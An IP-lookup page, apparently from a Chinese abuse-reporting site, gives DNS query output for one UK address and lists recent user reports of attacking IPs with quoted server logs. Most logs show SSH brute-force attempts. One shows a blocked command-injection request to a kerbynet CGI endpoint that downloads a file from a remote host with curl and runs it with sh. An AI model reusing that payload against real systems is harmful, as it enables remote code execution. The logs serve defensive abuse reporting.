必须是合法有效的IP地址, 可以是IPv4或者是IPv6, 例如127.0.0.1或者2001:DB8:0:0:8:800:200C:417A
基本信息:

城市(city): unknown

省份(region): unknown

国家(country): United Kingdom of Great Britain and Northern Ireland (the)

运营商(isp): unknown

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:
暂无关于此IP的讨论, 沙发请点上方按钮
相同子网IP讨论:
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WHOIS信息:
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DIG信息:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 81.21.71.54
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12518
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;81.21.71.54.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025022200 1800 900 604800 86400

;; Query time: 14 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Feb 22 22:00:17 CST 2025
;; MSG SIZE  rcvd: 104
HOST信息:
Host 54.71.21.81.in-addr.arpa not found: 2(SERVFAIL)
NSLOOKUP信息:
server can't find 81.21.71.54.in-addr.arpa: SERVFAIL
相关IP信息:
最新评论:
IP 类型 评论内容 时间
171.25.193.78 attackspam
Time:     Tue Sep  1 04:56:55 2020 +0000
IP:       171.25.193.78 (SE/Sweden/tor-exit4-readme.dfri.se)
Failures: 5 (sshd)
Interval: 3600 seconds
Blocked:  Permanent Block [LF_SSHD]

Log entries:

Sep  1 04:56:42 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
Sep  1 04:56:44 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
Sep  1 04:56:47 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
Sep  1 04:56:50 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
Sep  1 04:56:52 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
2020-09-01 14:33:05
167.172.207.139 attackbotsspam
Sep  1 08:05:13 PorscheCustomer sshd[31633]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.172.207.139
Sep  1 08:05:15 PorscheCustomer sshd[31633]: Failed password for invalid user annie123 from 167.172.207.139 port 54038 ssh2
Sep  1 08:08:47 PorscheCustomer sshd[31691]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.172.207.139
...
2020-09-01 14:21:08
61.177.172.168 attackbotsspam
Sep  1 08:41:21 v22019058497090703 sshd[10252]: Failed password for root from 61.177.172.168 port 15520 ssh2
Sep  1 08:41:34 v22019058497090703 sshd[10252]: Failed password for root from 61.177.172.168 port 15520 ssh2
Sep  1 08:41:34 v22019058497090703 sshd[10252]: error: maximum authentication attempts exceeded for root from 61.177.172.168 port 15520 ssh2 [preauth]
...
2020-09-01 14:57:47
77.68.4.202 attackspambots
Sep  1 07:49:26 buvik sshd[21784]: Invalid user one from 77.68.4.202
Sep  1 07:49:26 buvik sshd[21784]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=77.68.4.202
Sep  1 07:49:28 buvik sshd[21784]: Failed password for invalid user one from 77.68.4.202 port 51158 ssh2
...
2020-09-01 14:35:50
162.142.125.22 attack
SSH break in attempt
...
2020-09-01 14:30:52
51.255.45.144 attack
GET /wp-config.php.old HTTP/1.1
2020-09-01 14:25:27
93.170.59.23 attackbots
93.170.59.23 - - \[01/Sep/2020:06:52:58 +0300\] "POST /xmlrpc.php HTTP/1.1" 200 428 "-" "Mozilla/5.0 \(Windows NT 6.1\; Win64\; x64\) AppleWebKit/537.36 \(KHTML, like Gecko\) Chrome/59.0.3071.109 Safari/537.36" "-"
93.170.59.23 - - \[01/Sep/2020:06:53:01 +0300\] "POST /xmlrpc.php HTTP/1.1" 200 428 "-" "Mozilla/5.0 \(Windows NT 6.1\; Win64\; x64\) AppleWebKit/537.36 \(KHTML, like Gecko\) Chrome/59.0.3071.109 Safari/537.36" "-"
...
2020-09-01 15:03:22
106.12.84.4 attack
$f2bV_matches
2020-09-01 14:39:51
167.248.133.33 attack
Unauthorized connection attempt detected from IP address 167.248.133.33 to port 3390 [T]
2020-09-01 14:48:41
185.81.157.132 attackbots
Automatic report - Banned IP Access
2020-09-01 14:18:24
23.98.152.191 attackbots
webserver:80 [01/Sep/2020]  "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 403 0
webserver:80 [31/Aug/2020]  "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 403 0
webserver:80 [31/Aug/2020]  "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 403 0
webserver:80 [30/Aug/2020]  "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 403 0
2020-09-01 14:37:07
111.229.128.34 attackbotsspam
Sep  1 06:05:38 vps-51d81928 sshd[144244]: Invalid user tom from 111.229.128.34 port 52340
Sep  1 06:05:38 vps-51d81928 sshd[144244]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.229.128.34 
Sep  1 06:05:38 vps-51d81928 sshd[144244]: Invalid user tom from 111.229.128.34 port 52340
Sep  1 06:05:39 vps-51d81928 sshd[144244]: Failed password for invalid user tom from 111.229.128.34 port 52340 ssh2
Sep  1 06:09:11 vps-51d81928 sshd[144286]: Invalid user francois from 111.229.128.34 port 34218
...
2020-09-01 14:56:06
139.59.243.224 attackspambots
Sep  1 13:06:06 webhost01 sshd[3876]: Failed password for root from 139.59.243.224 port 54570 ssh2
...
2020-09-01 14:30:23
185.220.102.251 attackbots
Sep  1 06:10:48 ssh2 sshd[80532]: User root from tor-exit-relay-5.anonymizing-proxy.digitalcourage.de not allowed because not listed in AllowUsers
Sep  1 06:10:48 ssh2 sshd[80532]: Failed password for invalid user root from 185.220.102.251 port 26436 ssh2
Sep  1 06:10:49 ssh2 sshd[80532]: Failed password for invalid user root from 185.220.102.251 port 26436 ssh2
...
2020-09-01 14:17:17
216.239.90.19 attackbots
OpenSSL TLS Heartbleed Vulnerability
2020-09-01 14:32:46

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